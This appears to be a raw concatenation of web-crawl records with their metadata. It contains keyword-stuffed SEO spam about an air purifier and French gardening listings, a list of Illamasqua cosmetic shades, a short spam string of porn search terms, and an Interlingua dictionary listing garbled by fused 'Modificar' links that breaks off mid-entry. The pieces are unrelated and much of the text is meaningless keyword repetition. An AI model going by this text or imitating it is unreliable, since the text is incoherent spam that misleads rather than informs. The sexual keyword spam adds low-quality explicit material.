pro turbo max ionic pro air purifier ionic pro turbo max buzzing x9535.\nionic pro turbo max w ionic pro turbo max room air purifier ionic pro turbo max air purifier by envion r4244.\nionic pro turbo max ionic pro turbo ionic pro turbo air purifier tower black ionizer ionic pro turbo air purifier ionic pro turbo ionic pro turbo max cleaning a7371.\nionic pro turbo max ionic pro air purifier ionic pro turbo max less air home allergy room purifier household ionic pro envion ionic pro turbo max reviews v0865.\nionic pro turbo max ionic pro air purifier manual copyright ac all right reserved save this book ionic pro turbo max cleaning c2169.\nionic pro turbo max get quotations a ionic pro turbo air purifier ionic pro turbo max buzzing z3641.\nionic pro turbo max ionic pro turbo ionic pro turbo air purifier ionic pro turbo max manual ionic pro ta400 turbomax ionic air purifier c2476.\nionic pro turbo max ionic pro turbo ionic pro air purifier review ionic pro turbo ionic room air purifier reviews ionic pro turbo ionic pro turbo max air purifier reviews m8364.\nionic pro turbo max limited ionic pro air purifier ionic top ionic pro ionic pro turbo max envion w5250.\nionic pro turbo max ionic platinum air purifier ionic pro turbo max envion a6900.\nionic pro turbo max compare ionic air purifiers vs air purifiers envion ionic pro turbo max reviews c7381.\nionic pro turbo max ionic pro air purifier ionic pro air purifier cheap sharper image breeze series black turbo w ionic pro ionic pro turbo max air purifier manual h0789.\nionic pro turbo max ionic pro turbo max air purifier cash or best offer household in ca ionic pro turbo max manual x5768.\nionic pro turbo max shop fox inch variable speed scroll saw ionic pro turbo max cleaning k8798.\nionic pro turbo max ionic pro air purifier ionic pro air purifier ionic pro air purifier air purifier permanent filter ionic pro ionic pro turbo max buzzing n6038.\nionic pro turbo max ionic pro turbo max air purifier reviews u8860.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/historycentre.org\/ionic-pro-turbo-max\/","date":"2019-02-21T02:29:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247497858.46\/warc\/CC-MAIN-20190221010932-20190221032932-00096.warc.gz","language":"ina","language_score":0.4853545725,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.48535457253456116, \"eng_Latn_score\": 0.13631263375282288, \"ido_Latn_score\": 0.09004095196723938, \"dik_Latn_score\": 0.06855308264493942, \"lat_Latn_score\": 0.054306402802467346, \"asm_Latn_score\": 0.028646107763051987, \"sco_Latn_score\": 0.021338438615202904, \"eus_Latn_score\": 0.01688976399600506, \"gla_Latn_score\": 0.014800437726080418}","num_words":1090,"character_repetition_ratio":0.425,"word_repetition_ratio":0.343,"special_characters_ratio":0.221,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.485,"perplexity_score":17953.2,"cluster_detection":-1} +{"text":"Bon Coin Jardinage - le bon coin jardinage 53 finest serre de jardin pieds le bon coin micro tracteur tondeuse le bon coin 63 jardinage le bon coin 13 jardinage with le bon coin 13 jardinage le bon coin 63 jardinage le bon coin 28 jardinage finest abri de jardin m pas cher le bon coin 56 jardinage les tap jardinage fin juin with le bon coin 51 jardinage le bon coin 79 jardinage good serre de jardinage serre de pic le bon coin jardinage bretagne pic de le bon\nBon Coin Jardinage\nle bon coin nievre jardinage le bon coin 71 jardinage le bon coin 63 jardinage le bon coin 37 jardinage gallery le bon coin 37 le bon coin nievre jardinage","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.nictullisphotos.com\/bon-coin-jardinage\/295\/","date":"2019-02-17T22:10:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247482788.21\/warc\/CC-MAIN-20190217213235-20190217235235-00576.warc.gz","language":"ina","language_score":0.7495520115,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7495520114898682, \"fra_Latn_score\": 0.08645317703485489, \"gul_Latn_score\": 0.023920228704810143, \"kjs_Latn_score\": 0.01877244934439659, \"sab_Latn_score\": 0.014650987461209297, \"lln_Latn_score\": 0.013535341247916222}","num_words":188,"character_repetition_ratio":0.28,"word_repetition_ratio":0.223,"special_characters_ratio":0.234,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":6313.8,"cluster_detection":-1} +{"text":"Illamasqua Precision Ink in Abyss\nIllamasqua Precision Gel Liner in Infinity\nIllamasqua Powder Eye Shadow in Bronx\nIllamasqua Powder Eye Shadow in Hype\nIllamasqua Powder Eye Shadow in Pivot\nIllamasqua Powder Eye Shadow in Fledgling\nIllamasqua Powder Eye Shadow in Burst\nIllamasqua Powder Eye Shadow in Anja\nIllamasqua Eye Colouring Pencil in Fidelity\nIllamasqua Eye Colouring Pencil in Navy\nIllamasqua Eye Colouring Pencil in S.O.P.H.I.E.\nIllamasqua Eye Colouring Pencil in Vow\nIllamasqua Pure Pigment in Beguile\nIllamasqua Pure Pigment in Static\nIllamasqua Pure Pigment in Ore\nIllamasqua Antimatter Lipstick in Vibrate\nIllamasqua Antimatter Lipstick in Quartz\nIllamasqua Antimatter Lipstick in Lyra\nIllamasqua Antimatter Lipstick in Mars\nIllamasqua Cream Blusher in Promise\nIllamasqua Broken Silverin Silver\nIllamasqua Lava Lipsin Tectonic\nIllamasqua Lava Lipsin Rebirth\nIllamasquaLava Lipsin Emanate\nIllamasqua Powder Eye Shadowin Enchantment\nIllamasqua Powder Eye Shadowin Superstitious\nIllamasqua Lip Colouring Pencil in Media\nIllamasqua Lip Colouring Pencil in Lust\nIllamasqua Lip Colouring Pencil in Feisty\nIllamasqua Lip Colouring Pencil in Fantasy\nIllamasqua Lip Colouring Pencil in Woo\nIllamasqua Lip Colouring Pencil in Spell\nIllamasqua Lip Colouring Pencil in Severity\nIllamasqua Glamore Lipstick in Virgin\nIllamasqua Glamore Lipstick in Vampette\nIllamasqua Glamore Lipstick in Tease\nIllamasqua Glamore Lipstick in Soaked\nIllamasqua Glamore Lipstick in Starkers\nIllamasqua Glamore Lipstick in Rosepout\nIllamasqua Glamore Lipstick in Rockabilly\nIllamasqua Glamore Lipstick in Pinkie\nIllamasqua Glamore Lipstick in Naked\nIllamasqua Glamore Lipstick in Minx\nIllamasqua Glamore Lipstick in Glissade\nIllamasqua Glamore Lipstick in Kitsch\nIllamasqua Glamore Lipstick in Luster\nIllamasqua Glamore Lipstick in Cherub\nIllamasqua Glamore Lipstick in Buff\nIllamasqua Antimatter Lipstick in Physical\nIllamasqua Antimatter Lipstick in Eclipse\nIllamasqua Antimatter Lipstick in Hadron\nIllamasqua Antimatter Lipstick in Nebula\nIllamasqua Antimatter Lipstick in Spectra\nIllamasqua Antimatter Lipstick in Midnight\nIllamasqua Antimatter Lipstick in Energy\nIllamasqua Antimatter Lipstick in Solar\nIllamasqua Antimatter Lipstick in Isotope\nIllamasqua Lip Colouring Pencil in Creative\nIllamasqua Powder Eye Shadow in Servant\nIllamasqua Powder Eye Shadow in Heroine\nIllamasqua Powder Eye Shadow in Dizzy\nIllamasqua Powder Eye Shadow in CanCan\nIllamasqua Powder Eye Shadow in Jubilance\nIllamasqua Pure Pigment in Android\nIllamasqua Pure Pigment in Alluvium\nIllamasqua Pure Pigment in Berber\nIllamasqua Pure Pigment in Fervent\nIllamasqua Eye Colouring Pencil in Elate\nIllamasqua Masquara in Raven\nIllamasqua Cream Blusher in Rude\nIllamasqua Cream Blusher in Laid\nIllamasqua Powder Blusher in S.O.P.H.I.E\nIllamasqua Powder Blusher in Katie\nIllamasqua Powder Blusher in Tremble\nIllamasqua Powder Blusher in Excite\nIllamasqua Powder Blusher in Hussy\nIllamasqua Powder Blusher in Nymph\nIllamasqua Powder Blusher in Thrust\nIllamasqua Powder Blusher in Intrigue\nIllamasqua Powder Blusher in Allure\nIllamasqua Powder Blusher in Naked Rose\nIllamasqua Bronzing Duo in Glint \/ Ra\nIllamasqua Bronzing Duo in Glint \/ Solar\nIllamasqua Powder Blusher in Lover\nIllamasqua Gleam in Supernatural\nIllamasqua Pure Pigment in Furore\nIllamasqua Pure Pigment in Muse\nIllamasqua Powder Eye Shadow in Ritual\nIllamasqua Powder Eye Shadow in Maiden\nIllamasqua Antimatter Lipstick in Charge\nIllamasqua Antimatter Lipstick in Binary\nIllamasqua Sculpting Powder Duo in Illuminate & Nefertiti\nIllamasqua Sculpting Powder Duo in Heliopolis & Lumos\nIllamasqua Beyond Powder in Epic\nIllamasqua Skin Base Lift - Concealer - Medium 1\nIllamasqua Skin Base Lift - Concealer - Medium 2\nIllamasqua Skin Base Lift - Concealer - Deep 1\nIllamasqua Skin Base Lift - Concealer - Deep 2\nIllamasqua Skin Base Lift - Concealer - Light2","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.swimbabyswim.dk\/emne\/illamasqua","date":"2019-03-20T13:04:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202347.13\/warc\/CC-MAIN-20190320125919-20190320151919-00367.warc.gz","language":"ina","language_score":0.3021963537,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30219635367393494, \"eng_Latn_score\": 0.24811966717243195, \"dag_Latn_score\": 0.03643990308046341, \"sco_Latn_score\": 0.027102287858724594, \"lim_Latn_score\": 0.024260126054286957, \"bew_Latn_score\": 0.01657835952937603, \"lat_Latn_score\": 0.01535353995859623, \"lmo_Latn_score\": 0.015310551971197128, \"vec_Latn_score\": 0.014954570680856705, \"afr_Latn_score\": 0.014895742759108543, \"run_Latn_score\": 0.014828658662736416, \"ita_Latn_score\": 0.014321326278150082, \"kos_Latn_score\": 0.011727940291166306, \"deu_Latn_score\": 0.011596320196986198, \"kal_Latn_score\": 0.010603317059576511, \"ile_Latn_score\": 0.010382791981101036}","num_words":1271,"character_repetition_ratio":0.262,"word_repetition_ratio":0.178,"special_characters_ratio":0.148,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.616,"perplexity_score":18439.0,"cluster_detection":-1} +{"text":"Nakne kjendiser sexkontakt norge Spartacus sexe le sexe en latex Posted on 15.03.201815.03.2018By : Crystal Corcoran ... Video gratuit sexe sexe adulte . Sexe collegue le sexe fairy tail Blague sex belle sexe simple Sexe anime le facteur sexuel 971 Le sexe cheval sex entre amis Sex vierge gratuit porn sex Le sexe sm le sexe de position","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/aurora1st.org\/spartacus-sexe-le-sexe-en-latex","date":"2019-03-25T13:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203991.44\/warc\/CC-MAIN-20190325133117-20190325155117-00487.warc.gz","language":"ina","language_score":0.360529691,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.36052969098091125, \"vec_Latn_score\": 0.3093641400337219, \"fra_Latn_score\": 0.12838515639305115, \"atj_Latn_score\": 0.02563348412513733, \"nov_Latn_score\": 0.02393415942788124, \"nrm_Latn_score\": 0.019294634461402893, \"eus_Latn_score\": 0.01305654551833868}","num_words":99,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":7190.5,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z corporeModificar corpore anguloseModificar corpore anguloso corpore astralModificar corpore athleticModificar corpore athletico corpore ben proportionateModificar corpore ben proportionato corpore carbonisateModificar corpore carbonizato corpore celesteModificar corpore cellularModificar corpore ciliarModificar corpore compacteModificar corpore compacto corpore componite de partes heterogeneModificar corpore componito de partes heterogenas corpore consularModificar corpore de cavalleriaModificar corpore de éliteModificar corpore de muscaModificar corpore de musicos militarModificar corpore de musicos militares corpore de policiaModificar corpore de pumperosModificar corpore de tres dimensionesModificar corpore de tricotModificar corpore de veteranosModificar corpore debileModificar corpore del delictoModificar corpore del dicaModificar corpore de la dica corpore del institutoresModificar corpore de los institutores corpore del naveModificar corpore de la nave corpore del paginaModificar corpore de la pagina corpore del professoresModificar corpore de los professores corpore del pumperosModificar corpore de los pumperos corpore del vertebraModificar corpore de la vertebra corpore diplomaticModificar corpore diplomatico corpore docenteModificar corpore electoralModificar corpore epitaxialModificar corpore estranieModificar corpore estranio corpore ethereeModificar corpore ethereo corpore expeditionariModificar corpore expeditionario corpore extraneeModificar corpore extraneo corpore fluorescenteModificar corpore fragileModificar corpore fructifereModificar corpore fructifero corpore humanModificar corpore humano corpore inanimateModificar corpore inanimato corpore infantilModificar corpore insenianteModificar corpore insenianto corpore legislativeModificar corpore legislativo corpore liquideModificar corpore liquido corpore luminoseModificar corpore luminoso corpore magreModificar corpore magro corpore medicalModificar corpore morteModificar corpore morto corpore phosphorescenteModificar corpore politicModificar corpore politico corpore sanModificar corpore sano corpore solideModificar corpore solido corpore spongioseModificar corpore spongioso corpore tactileModificar corpore vertebralModificar corpore vitreeModificar corpore vitreo corporeeModificar corporeo(s) \/ corporea(s) corporeitateModificar corpores illuminanteModificar corpores illuminantes corpores inanimateModificar corpores inanimatos corpores incompressibileModificar corpores incompressibiles corps [F]Modificar corps de armeaModificar corps de veteranosModificar corps expeditionariModificar corps expeditionario corpulenteModificar corpulente(s) corpulentiaModificar corpus [L]Modificar corpus delicti [L]Modificar corpuscularModificar corpuscular(es) corpusculoModificar corpusculo sanguineeModificar corpusculo sanguineo corpusculo(s) tactileModificar [corpusculo tactile] \/ [corpusculos tactiles] corralModificar corral [le corrasionModificar correcteModificar correcto(s) \/ correcta(s) correctessaModificar correctessa de stiloModificar correctessa de un expressionModificar correctessa de una expression correctionModificar correction antiskatingModificar correction capillarModificar correction corporalModificar correction corporeeModificar correction corporea correction de frontieraModificar correction de parallaxeModificar correction del autorModificar correction del precios de locationModificar correction de los precios de location correction physicModificar correction physica correctionalModificar correccional(es) correctiveModificar correctivo(s) \/ correctiva(s) correctivoModificar correctorModificar corrector de tonalitateModificar corrector liquideModificar corrector liquido corrector typographicModificar corrector typographico correctoriModificar correctorio(s) \/ correctoria(s) corregiaModificar corregia a rasarModificar corregia a rasorioModificar corregia de affilarModificar corregia de corioModificar corregia de patinModificar corregia de talonModificar corregia de timonModificar corregia de transmissionModificar corregia de ventilatorModificar corregia del staffaModificar corregia de la staffa corregia jugularModificar corregia mobileModificar corregia subventralModificar corregia transportatorModificar corregia transportatrice correlatarModificar correlationModificar correlation demonstrabileModificar correlativeModificar correlativo(s) \/ correlativa(s) correlativoModificar correligionarioModificar correspondenteModificar correspondente adj, sub correspondente de guerraModificar correspondente de pressaModificar correspondente localModificar correspondente permanenteModificar correspondentiaModificar correspondentia commercialModificar correspondentia de sentimentosModificar correspondentia inediteModificar correspondentia inedita correspondentia interscholarModificar correspondentia mercantilModificar corresponderModificar corresponsabilitateModificar corrida [E]Modificar corridorModificar corridor aereeModificar corridor aereo corridor de accesso del \/ pro_le jocatoresModificar corridor de accesso de \/ pro los jocatores corridor de autobus(es)Modificar corridor interiorModificar corridor lateralModificar corrigendum pl corrigenda [L]Modificar corrigerModificar corriger seModificar corriger un errorModificar corriger un habitudeModificar corriger una habitude corriger un observationModificar corriger una observation corriger un omissionModificar corriger una omission corrigibileModificar corrigibile(s) corrigiolaModificar corroboranteModificar corroborante [le corroborarModificar corroborar alco con testesModificar corroborar un persona in su opinionModificar corroborar una persona in su opinion corroborationModificar corroborativeModificar corroborativo(s) \/ corroborativa(s) corroboratorModificar corroderModificar corrosionModificar corrosion bacterialModificar corrosion del betonModificar corrosion metallicModificar corrosion metallica corrosiveModificar corrosivo(s) \/ corrosiva(s) corrosivitateModificar corrosivoModificar corrugarModificar corrugar le fronteModificar corrugar le superciliosModificar corrugar los supercilios corrugateModificar corrugato(s) \/ corrugata(s) corrugationModificar corrugation del fronteModificar corrumperModificar corrumper le moresModificar corrumper los mores corrumper un functionarioModificar corrumper un judiceModificar corrumper un parolaModificar corrumper una parola corrumper un textoModificar corrupteModificar corrupto(s) \/ corrupta(s) corrupte functionarioModificar corrupto functionario corruptibileModificar corruptibile(s) corruptibilitateModificar corruptionModificar corruption de carneModificar corruption de un functionarioModificar corruption del costumesModificar corruption de los costumes corruption del gustoModificar corruption del linguageModificar corruption del moresModificar corruption de los mores corruption electoralModificar corruption moralModificar corruptiveModificar corruptivo(s) \/ corruptiva(s) corruptorModificar corruptor del linguageModificar corruptor del linguage corsage [F]Modificar corsarioModificar corsarios barbarescModificar corsarios barbarescos corseModificar corso(s) \/ corsa(s) corset [F]Modificar corset de graviditateModificar corset de pregnantiaModificar corset medicalModificar corset orthopedicModificar corset orthopedico corseteroModificar CorsicaModificar corsoModificar corteModificar corte [la corte competenteModificar Corte de AppelloModificar Corte de CassationModificar corte de contosModificar corte de fermaModificar corte de justitiaModificar corte de princeModificar corte de principeModificar corte de recreationModificar corte de scholaModificar corte de squashModificar corte de tennisModificar corte imperialModificar corte interiorModificar Corte International de JustitiaModificar corte interneModificar corte interna corte martialModificar corte papalModificar Corte Permanente de ArbitrageModificar corte prevostalModificar corte principescModificar corte principesca corte soveranModificar corte soverana corte superiorModificar corte supremeModificar corte suprema Cortes [E]Modificar cortesanaModificar cortesanoModificar cortesarModificar corteseModificar cortese(s) \/ cortesa(s) cortesiaModificar corticalModificar cortical(es) corticateModificar corticato(s) \/ corticata(s) corticeModificar cortice [le \/ la cortice cerebralModificar cortice de acereModificar cortice de alnoModificar cortice de angosturaModificar cortice de arboreModificar cortice de betulaModificar cortice de cannellieroModificar cortice de eucalyptoModificar cortice de fagoModificar cortice de grape-fruitModificar cortice de pompelmusModificar cortice de saliceModificar cortice renalModificar cortice suprarenalModificar cortice surrenalModificar corticioModificar corticio lacteeModificar corticio lacteo corticoidesModificar corticoides [los corticoseModificar corticoso(s) \/ corticosa(s) corticospinalModificar corticospinal(es) corticosteroideModificar corticosteroide [le corticosteronModificar corticosteron [le corticotrophinaModificar cortilModificar cortil [le cortil de gallinasModificar cortinaModificar cortina de brumaModificar cortina de cannaModificar cortina de duchaModificar cortina de fenestraModificar cortina de ferroModificar cortina de fumoModificar cortina de nebulaModificar cortina de nubesModificar cortina de perlasModificar cortina de pluviaModificar cortina de portaModificar cortina de sargaModificar cortina dupleModificar cortina dupla cortina fumigeneModificar cortina fumigena cortina inferiorModificar cortinarioModificar cortisolModificar cortisol [le cortisoneModificar cortisone [la cortisonicModificar cortisonico(s) \/ cortisonica(s) coruscanteModificar coruscante(s) coruscarModificar coruscationModificar corvée [F]Modificar corvettaModificar corvidosModificar corvidos [los corvinModificar corvino(s) \/ corvina(s) CorvoModificar corvoModificar corvo marinModificar corvo marino corvo scapulateModificar corvo scapulato corybanteModificar corybante [le \/ la corybanticModificar corybantico(s) \/ corybantica(s) corydalinaModificar corydalisModificar corydalis [la corylopsisModificar corylopsis [la corymboModificar corynephoroModificar corypheoModificar coryzaModificar cosaModificar cosa accessoriModificar cosa accessoria cosa de litigioModificar cosa de minor importantiaModificar cosa de routineModificar cosa facile a comprenderModificar cosa insignificanteModificar cosa litigioseModificar cosa litigiosa cosa secundariModificar cosa secundaria cosacModificar cosaco(s) \/ cosaca(s) cosacoModificar cosaliaModificar cosas agibileModificar cosas agibiles cosas de familiaModificar cosas de statoModificar cosas del mesme ordineModificar cosas de la mesma ordine cosas del mesme sortaModificar cosas de la mesma sorta cosa(s) delectabileModificar cosa_delectabile \/ cosas_delectabiles cosa(s) delicioseModificar cosa_deliciosa \/ cosas_deliciosas cosas inopinabileModificar cosas inopinabiles coscenaristaModificar coscenarista [le \/ la coscorobaModificar cosecanteModificar cosecante [la cosignarModificar cosignar un contractoModificar cosignatarioModificar cosignatarios de un contractoModificar cosignaturaModificar cosinaModificar cosinoModificar cosino germanModificar cosino germano cosino in prime gradoModificar cosino in primo grado cosinusModificar cosinus de un anguloModificar cosinus directoriModificar cosinus directorio cosinus integralModificar cosinusoideModificar cosinusoide [la cosmanthoModificar cosmeticModificar cosmetico(s) \/ cosmetica(s) cosmeticaModificar cosmeticoModificar cosmetistaModificar cosmetista [le \/ la cosmetologiaModificar cosmetologoModificar cosmicModificar cosmico(s) \/ cosmica(s) cosmicitateModificar cosmoModificar cosmobiologiaModificar cosmobiologicModificar cosmobiologico(s) \/ cosmobiologica(s) cosmochimiaModificar cosmochimicModificar cosmochimico(s) \/ cosmochimica(s) cosmodromoModificar cosmogoniaModificar cosmogonia relativisticModificar cosmogonia relativistica cosmogonicModificar cosmogonico(s) \/ cosmogonica(s) cosmographiaModificar cosmographicModificar cosmographico(s) \/ cosmographica(s) cosmographoModificar cosmologiaModificar cosmologia relativisticModificar cosmologia relativistica cosmologicModificar cosmologico(s) \/ cosmologica(s) cosmologoModificar cosmonautaModificar cosmonauta [le \/ la cosmonauticaModificar cosmonaveModificar cosmopolitaModificar cosmopolita sub, adj cosmopolitismoModificar cosmoramaModificar cosmorama [le cosmoramicModificar cosmoramico(s) \/ cosmoramica(s) cosponsorModificar cosponsor [le cossa de pisoModificar cossinetta de sellaModificar cossinettoModificar cossinetto a bollasModificar cossinetto a \/ de sphera(s)Modificar cossinetto conicModificar cossinetto conico cossinetto de biellaModificar cossinetto de bollasModificar cossinetto de pulvereModificar cossinetto de sellaModificar cossinetto de timbrarModificar cossinetto pro aguliasModificar cossinetto pro timbrosModificar cossinoModificar cossino baptismalModificar cossino con kapokModificar cossino de aereModificar cossino de aquaModificar cossino de canapéModificar cossino de canoaModificar cossino de capiteModificar cossino de feltroModificar cossino de pedeModificar cossino de plumasModificar cossino de sediaModificar cossino de testaModificar cossino magneticModificar cossino magnetico cossino pneumaticModificar cossino pneumatico cossino thermoelectricModificar cossino thermoelectrico cossoModificar costaModificar costa a riasModificar costa abbordabileModificar costa adriaticModificar costa adriatica costa asternalModificar costa atlanticModificar costa atlantica costa corseModificar costa corsa costa dalmaticModificar costa dalmatica costa de AdamModificar costa de agnoModificar costa de dunasModificar costa de fiordesModificar costa de lagunaModificar costa de marModificar costa de oveModificar costa de porcoModificar costa de scoliosModificar costa de vitelloModificar costa del AdriaticoModificar Costa del AuroModificar costa del marModificar costa del \/ de_la mar costa lagunarModificar costa lagunoseModificar costa lagunosa costa lo que costaModificar costa lumbarModificar costa marinModificar costa marina costa meridionalModificar costa mexicanModificar costa mexicana costa normande \/ normanneModificar costa normanda \/ normanna costa occidentalModificar costa orientalModificar Costa RicaModificar costa roccoseModificar costa roccosa costa scarpateModificar costa scarpata costa septentrionalModificar costa sternalModificar costalModificar costal(es) costalgiaModificar costarModificar costar le vita aModificar costar la vita a costar multoModificar costar nihilModificar costar un capitalModificar costariModificar costario(s) \/ costaria(s) costas asternalModificar costas asternales costas de bove magreModificar costas de bove magro costas falseModificar costas falsas costas flottanteModificar costas flottantes costas spurieModificar costas spurias costas sternalModificar costas sternales costas verModificar costas veras costateModificar costato(s) \/ costata(s) costearModificar costear un foresteModificar costear una foreste costear un monteModificar costiformeModificar costiforme(s) costoModificar costos accessoriModificar costos accessorios costos additionalModificar costos additionales costos administrativeModificar costos administrativos costos de acquisitionModificar costos de administrationModificar costos de affretamentoModificar costos de ampliationModificar costos de assecurantiaModificar costos de avariaModificar costos de bureauModificar costos de calefactionModificar costos de chequeModificar costos de compositionModificar costos de constructionModificar costos de depositoModificar costos de discargaModificar costos de disdoanamentoModificar costos de distributionModificar costos de doanaModificar costos de expeditionModificar costos de exploitationModificar costos de fabricationModificar costos de francaturaModificar costos de fundationModificar costos de gerentiaModificar costos de gestionModificar costos de guardaModificar costos de hospitalisationModificar costos de hospitalization costos de imballageModificar costos de impressionModificar costos de incassamentoModificar costos de installationModificar costos de investimentoModificar costos de magazinageModificar costos de mantenentiaModificar costos de mantenimentoModificar costos de occupationModificar costos de officioModificar costos de polissaModificar costos de portoModificar costos de processoModificar costos de productionModificar costos de publicitateModificar costos de reimplaciamentoModificar costos de remolcageModificar costos de reparationModificar costos de residentiaModificar costos de restaurationModificar costos de scholaModificar costos de scholaritateModificar costos de sojornoModificar costos de stivageModificar costos de stockageModificar costos de substitutionModificar costos de tractamentoModificar costos de transitoModificar costos de transmissionModificar costos de transportationModificar costos de transportoModificar costos de viageModificar costos de vitaModificar costos deducibileModificar costos deducibiles costos deductibileModificar costos deductibiles costos del expertiseModificar costos de la expertise costos del statoModificar costos differentialModificar costos differentiales costos doanalModificar costos doanales costos doanerModificar costos doaneros costos eventualModificar costos eventuales costos extraModificar costos extras costos fixeModificar costos fixos costos fixe ligate al habitationModificar costos fixos ligatos a la habitation costos funerariModificar costos funerarios costos initialModificar costos initiales costos judicialModificar costos judiciales costos locativeModificar costos locativos costos marginalModificar costos marginales costos medicalModificar costos medicales costos proportionalModificar costos proportionales costos que se accumulaModificar costos que se accumulan costos salarialModificar costos salariales costos supplementariModificar costos supplementarios costos variabileModificar costos variabiles costoseModificar costoso(s) \/ costosa(s) costovertebralModificar costovertebral(es) adj costumarModificar costumariModificar costumario(s) \/ costumaria(s) costumeModificar costume [le costume abusiveModificar costume abusivo costume adamicModificar costume adamico costume alimentariModificar costume alimentario costume bellicModificar costume bellico costume carnavalescModificar costume carnavalesco costume confectionate al mesuraModificar costume confectionato a la mesura costume de amazonModificar costume de apparatoModificar costume de banioModificar costume de buffonModificar costume de carnavalModificar costume de cavalcarModificar costume de cavalleroModificar costume de ceremoniaModificar costume de confectionModificar costume de galaModificar costume de jeansModificar costume de maritageModificar costume de mascaradaModificar costume de matrimonioModificar costume de safariModificar costume de sportModificar costume establiteModificar costume establito costume facite al mesuraModificar costume facito a la mesura costume femininModificar costume feminino costume fixeModificar costume fixo costume guerrierModificar costume guerriero costume marinModificar costume marino costume tennisticModificar costume tennistico costume tropicalModificar costume tropical costumes barbaricModificar costumes barbarico costumes de un paisModificar costumes judaicModificar costumes judaicos costumes paganModificar costumes paganos costumes secularModificar costumes seculares costumieraModificar cosuspectoModificar cotangenteModificar cotangente [la cotangentialModificar cotangential(es) cotelette [F]Modificar cotelette de capreoloModificar cotelette de porcoModificar cotelette de vitelloModificar cotesteModificar coteste [le \/ la cothurnoModificar cotidalModificar cotidal(es) adj cotillon [F]Modificar cotingaModificar cotininaModificar cotinoModificar cotonModificar coton a \/ de brodarModificar coton a \/ de calfatarModificar coton a miccaModificar coton a \/ de sarcirModificar coton a \/ de tricotarModificar coton bruteModificar coton bruto coton crudeModificar coton crudo coton hydrophileModificar coton hydrophilo coton hydrophilicModificar coton hydrophilico coton purificateModificar coton purificato coton satinateModificar coton satinato cotonariModificar cotonario(s) \/ cotonaria(s) cotoneasterModificar cotoneaster [le cotonicultorModificar cotonicultor [le cotoniculturaModificar cotonieroModificar cotonoseModificar cotonoso(s) \/ cotonosa(s) cottaModificar cotta anellateModificar cotta anellata cotta de armasModificar cotta de maliasModificar cottage [A]Modificar coturniceModificar coturnice [la cotutelaModificar cotutorModificar cotyleModificar cotyle [le cotyledonModificar cotyledon [le cotyloideModificar cotyloide(s) adj couchette [F]Modificar coulisse [F]Modificar CoulombModificar coulombModificar country [A]Modificar coupé [F]Modificar couponModificar coupon de dividendoModificar coupon_responsa \/ coupon-responsaModificar courante [F]Modificar courgette [F]Modificar courgette farciteModificar courgette farcita couscous [F]Modificar couturier [F]Modificar covalentModificar covalent(es) adj covalentiaModificar covarModificar covar un cosaModificar covar una cosa covarianteModificar covariante adj, sub covariantiaModificar covariationModificar covataModificar covatorModificar covatriceModificar covatrice artificialModificar covenditorModificar cover-girl [A]Modificar cowboy [A]Modificar coxaModificar coxa artificialModificar coxalModificar coxal(es) adj coxalgiaModificar coxalgicModificar coxalgico(s) \/ coxalgica(s) coxalgicoModificar coxarthrose = coxarthrosisModificar coxitisModificar coxofemoralModificar coxofemoral(es) adj coyoteModificar coyote [le crabbaModificar crabba chineseModificar crabba chinesa crabba terrestreModificar crabroModificar crabro striateModificar crabro striato cracModificar crac [le crac!Modificar craccamentoModificar craccarModificar crack [A]Modificar cracker [A]Modificar cracker al caseoModificar cracking [A]Modificar CracoviaModificar crambeModificar crambe [la crambe maritimeModificar crambe maritima cramboModificar crampaModificar crampa de fixationModificar crampa de foliosModificar crampa de papirosModificar cramparModificar crampetta de papirosModificar crampoModificar crampo de stomachoModificar crampo del scribenteModificar crampo gastricModificar crampo gastrico crampo muscularModificar crampo stomachalModificar crampo suralModificar crampo vascularModificar crangonModificar crangon de aqua dulceModificar crangones (non) decorticateModificar crangones (non) decorticatos cranialModificar cranial(es) cranianModificar craniano(s) \/ craniana(s) cranioModificar cranio calveModificar cranio calvo cranio nudeModificar cranio nudo cranio ovoideModificar craniofacialModificar craniofacial(es) craniologiaModificar craniologicModificar craniologico(s) \/ craniologica(s) craniologistaModificar craniologoModificar craniometriaModificar craniometricModificar craniometrico(s) \/ craniometrica(s) craniometristaModificar craniometroModificar cranioscopiaModificar cranioscopicModificar cranioscopico(s) \/ cranioscopica(s) cranioscopioModificar cranioscopoModificar craniotomiaModificar craquelé [F]Modificar craquelure [F]Modificar crasisModificar crasis [la crasseModificar crasso(s) \/ crassa(s) crassicauleModificar crassicaule(s) adj crassifluenteModificar crassifluente(s) crassifoliateModificar crassifoliato(s) \/ crassifoliata(s) crassilabieModificar crassilabio(s) \/ crassilabia(s) crassilingueModificar crassilingue(s) adj crassilobateModificar crassilobato(s) \/ crassilobata(s) crassipetaleModificar crassipetalo(s) \/ crassipetala(s) crassirostreModificar crassirostro(s) \/ crassirostra(s) crassisepaleModificar crassisepalo(s) \/ crassisepala(s) crassitateModificar crassitudeModificar crassulaModificar crassulaceasModificar crastineModificar crastino(s) \/ crastina(s) crategoModificar cratego sanguineeModificar cratego sanguineo craterModificar crater [le \/ la crater de impactoModificar crater 